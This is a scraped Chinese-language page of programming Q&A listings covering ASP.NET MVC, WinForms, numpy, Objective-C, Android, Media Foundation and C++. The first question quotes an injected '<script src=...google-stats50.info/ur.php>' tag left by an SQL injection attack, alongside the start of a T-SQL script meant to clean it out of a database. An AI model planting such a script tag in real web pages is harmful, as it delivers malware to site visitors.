问题列表 - 第35317页

解读这个XSS攻击

有没有人知道有关此攻击的更多信息?

我最近在我的网站上注入了这个脚本

顺便说一句,不要去这个网站,因为它是感染的来源

 </title><script src=http://google-stats50.**fo/***.php>
Run Code Online (Sandbox Code Playgroud)

什么样的攻击,SQL或CODE?

顺便说一句,不要去这个网站,因为它是感染的来源

问题是这种传染性攻击发生了什么样的攻击?

我们发现它,并不像twitter攻击,它是通过url中的请求参数并直接在参数中注入sql.

我们的sql团队生成了一个SQL脚本来清理被感染的数据库

/*************************************************************************
        SQL INJECTED DATABASE
*************************************************************************/

DECLARE @dbName VARCHAR(200), 
        @SqlString NVARCHAR(MAX), 
        @SearchText VARCHAR(MAX), 
        @SearchTextLike VARCHAR(MAX), 
        @NbItems INT, 
        @TableName VARCHAR(255), 
        @ColoneName VARCHAR(255), 
        @objId BIGINT,
        @tmpSqlString NVARCHAR(MAX),
        @CleanUp BIT,
        @RowCount BIGINT,
        @debug BIT,
        @Msg VARCHAR(MAX);

SET @debug = 0; -- 1 = Additionnal prints

SET @CleanUp = 0; -- 1 = Update tables

SET @SearchText = '</title><script src=http://google-stats50.info/ur.php></script>';

SET @SearchTextLike = '%' + @SearchText + '%';

DECLARE @QueryResults TABLE (SqlString VARCHAR(MAX), TableName VARCHAR(255), …
Run Code Online (Sandbox Code Playgroud)

security iis sql-injection

9
推荐指数
1
解决办法
3638
查看次数

ASP.NET MVC 2 - 使用UpdateModel和LINQ to Entities(.NET 3.5)时,"无法更新类型'XYZ'的模型"

我使用LINQ to Entities设置了一个模型,并且代码可以按预期添加到数据库中.但是,当我使用.NET 3.5时,我无法使UpdateModel工作.

[HttpPost]
public ActionResult Edit(Site.Models.XYZ xyz)
{
    try
    {
        var original = db.XYZ.First(u => u.id == xyz.id);
        UpdateModel(original);
        db.SaveChanges();

        return RedirectToAction("Index");
    }
    catch (Exception ex)
    {
        return View("Error");
    }
}
Run Code Online (Sandbox Code Playgroud)

这导致以下异常:

System.InvalidOperationException was caught
  Message=The model of type 'Site.Models.XYZ' could not be updated.
  Source=System.Web.Mvc
  StackTrace:
       at System.Web.Mvc.Controller.UpdateModel[TModel](TModel model, String prefix, String[] includeProperties, String[] excludeProperties, IValueProvider valueProvider)
       at System.Web.Mvc.Controller.UpdateModel[TModel](TModel model, String prefix)
       at Site.Controllers.XYZController.Edit(Site.Models.XYZ xyz) in D:***.cs:line 81
  InnerException: 
Run Code Online (Sandbox Code Playgroud)

如果我这样做UpdateModel(xyz),则不会发生异常,但数据也不会保存.

如何让UpdateModel使用它(不更新到.NET 4.0),为什么不能更新(由于没有内部异常,异常没有帮助)?

c# entity-framework asp.net-mvc-2

8
推荐指数
1
解决办法
8458
查看次数

防止WinForm AcceptButton处理返回键

我有一个表单,其中有一个连接到AcceptButton属性的按钮,以便在用户按下Return键时出现逻辑并关闭表单.

在该表单上,我显示了TextBox当用户双击某个区域时出现的动态创建,然后在用户按下Return时隐藏.

当用户在TextBox有焦点时按下Return键时,如何防止表单处理按键?

我试图说按键操作是在TextBox.KeyDown事件处理程序中处理的,KeyEventArgs.HandledButton.Click我的接受按钮的事件首先被触发...

c# winforms

10
推荐指数
3
解决办法
4532
查看次数

选择单选按钮的事件?

是否有选择单选按钮的事件?

我知道我可以使用"点击"但我相信可以在某些浏览器中设置单选按钮的样式,以便单击单选按钮的外部区域可能不会选择单选按钮.

我应该使用什么事件?

javascript jquery

13
推荐指数
2
解决办法
4万
查看次数

使用genfromtxt导入numpy中缺少值的csv数据

我有一个看起来像这样的csv文件(实际文件有更多的列和行):

1,2,3,4,5
6,7,8,9,10
11,12,13,14,15
16
Run Code Online (Sandbox Code Playgroud)

假设该文件的名称是info.csv 如果我尝试使用导入它

data = numpy.genfromtxt('info.csv', delimiter = ',')
Run Code Online (Sandbox Code Playgroud)

然后我收到以下错误:

ValueError: Some errors were detected ! Line #4 (got 1 columns instead of 5)
Run Code Online (Sandbox Code Playgroud)

如果我用,

data = numpy.genfromtxt('info.csv', delimiter = ',', skip_footer = 1) 
Run Code Online (Sandbox Code Playgroud)

将跳过包含数据16和数据的两行11, 12, 13, 14, 15.我不明白为什么11, 12, 13, 14, 15跳过这一行.我将非常感谢有关如何genfromtxt在上述文件中正确导入前三行的任何帮助.

谢谢

python numpy genfromtxt

5
推荐指数
1
解决办法
1万
查看次数

对于Objective-C中的循环

counter = [myArray count];
for (i = 0 ; i < count ;  i++) {
     [[anotherArray objectAtIndex:i] setTitle:[myArray objectAtIndex:i]];
}
Run Code Online (Sandbox Code Playgroud)

我想以客观的C 2.0方式做到这一点,但似乎无法找到如何访问索引'i'(如果可能的话).

for (NSString *myString in myArray) {
     [[anotherArray objectAtIndex:i] setTitle: myString];
}
Run Code Online (Sandbox Code Playgroud)

(请原谅任何错别字;我目前不在我的Mac后面,所以这不在我的脑海里.)

cocoa objective-c

1
推荐指数
2
解决办法
231
查看次数

通过键盘支持从命令行创建 avd

如何通过键盘支持从命令行创建 avd?

我能够使用以下命令从命令行创建 avd android create avd,但我不知道如何启用键盘支持。

甚至 android 文档/帮助对此也没有任何说明。

keyboard android android-virtual-device

5
推荐指数
1
解决办法
3122
查看次数

Microsoft Media Foundation - 解码h264样本

我使用Microsoft Media Foundation示例(即MFCaptureToFile)从我的网络摄像头捕获H264帧并将其写入文件.

我正在尝试使用IMFTransform解码捕获的帧并获取下划线图像(YUV,BMP,等等).

但是,ProcessInput方法永远不会返回MF_E_NOTACCEPTING,并且ProcessOutput方法始终返回MF_E_TRANSFORM_NEED_MORE_INPUT.

我基本上读取每一帧并调用ProcessInput.

有任何想法吗?有人可以修改MFCaptureToFile示例来告诉我它是如何完成的吗?我在CCapture :: OnReadSample下进行所有处理.

任何帮助将不胜感激!

我做

ms-media-foundation

3
推荐指数
1
解决办法
7057
查看次数

调用JavaScript方法的正确方法

有没有理由我应该按如下方式调用JavaScript方法?

onClick="Javascript:MyMethod();"
Run Code Online (Sandbox Code Playgroud)

或者我可以这样称呼它:

onClick="MyMethod();"
Run Code Online (Sandbox Code Playgroud)

有什么区别吗?

javascript methods

7
推荐指数
2
解决办法
863
查看次数

有没有办法在C++中静态初始化动态分配的数组?

在C++中,我可以静态初始化一个数组,例如:

int a[] = { 1, 2, 3 };
Run Code Online (Sandbox Code Playgroud)

有一种简单的方法可以将动态分配的数组初始化为一组立即值吗?

int *p = new int[3];
p = { 1, 2, 3 }; // syntax error
Run Code Online (Sandbox Code Playgroud)

...或者我必须手动复制这些值吗?

c++ arrays initialization c++11

13
推荐指数
2
解决办法
1万
查看次数